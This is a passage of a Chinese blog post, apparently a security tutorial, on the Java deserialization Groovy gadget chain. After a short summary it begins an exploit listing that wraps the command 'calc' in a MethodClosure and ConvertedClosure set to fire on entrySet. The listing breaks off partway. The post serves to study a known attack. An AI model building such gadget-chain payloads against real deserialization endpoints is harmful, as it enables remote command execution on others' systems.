java 反序列化（1）：Groovy链

原创

于 2021-03-24 20:55:42 发布 · 359 阅读

CC 4.0 BY-SA版权

本文深入探讨了Java反序列化过程中的Groovy链利用，通过分析代码示例，揭示了如何通过`map.entryset()`触发命令执行。在反序列化过程中，涉及反射调用AnnotationInvocationHandler，最终在Closure类中执行指定命令，如`calc`，完成了整个命令执行的流程。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

1，完整利用代码如下：

public class groovtest {
   
   
    static String command = "calc";

    public static void main(String[] args){
   
   
        // write object
        try{
   
   
            //封装我们需要执行的对象
            MethodClosure methodClosure = new MethodClosure(command,"execute");
            final ConvertedClosure closure = new ConvertedClosure(methodClosure,"entrySet");
            //生成class类型的数组
            Class<?>[] allInterfaces = (Class<?>[]) Array.newInstance(Class.class,1);
            //在这个class类型中存入map类型的接口
            allInterfaces[0]